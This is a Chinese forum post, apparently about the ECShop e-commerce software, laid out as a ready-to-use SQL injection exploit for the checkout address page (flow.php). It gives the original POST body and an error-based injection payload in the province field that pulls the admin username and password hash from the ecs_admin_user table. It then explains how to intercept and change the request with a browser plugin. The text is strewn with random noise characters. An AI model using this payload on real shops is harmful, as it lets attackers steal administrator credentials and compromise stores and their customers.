感谢欠杀的黑盒9 i2 V, _( u8 w$ ~" M& R3 T
( [7 }5 v% e3 }2 E
5 s! I* u) L! v5 S- K把任意商品加入购物车在填写配送地址那一页，有地区选择0 P% X1 }9 z( [2 b6 C/ a
; `& s$ z7 ~; j8 B# F7 ^/ [5 Y, z! y# i
flow.php?step=consignee&direct_shopping=12 i& Z- f6 U: v/ s( U
比如省选择安徽' a+ |7 ?+ n4 O
- l$ D& z# H- y) N- w! J
其中POST数据如下
% X$ @0 D' q1 \2 x H$ p; g
; L$ U/ A( p. S3 O) T9 m9 X3 Fcountry=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3
x6 R1 u1 j6 d! a2 K/ s改成
5 q' U& L4 V- V* Y - \( b: N" Q! s, u H5 Z# `
province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
0 r2 O9 s5 w& Zps：详细的方法，用火狐tamper data插件……..即可改post内容…../ G ^# S" T+ z+ N
$ W* D" s9 r' a# I* n$ P
先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包
4 U2 v5 |3 ]! l7 G& }+ N : e4 x/ r2 j! _) h. e
就会回显错误页面了。。。。
) J4 X; y. A7 ?1 H3 U
0 y0 ~2 k9 Z8 S5 Q我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的2 n( u9 l- O: p, Y& I) J' P
|
发表于 2012-12-31 09:19:27
收藏
支持
反对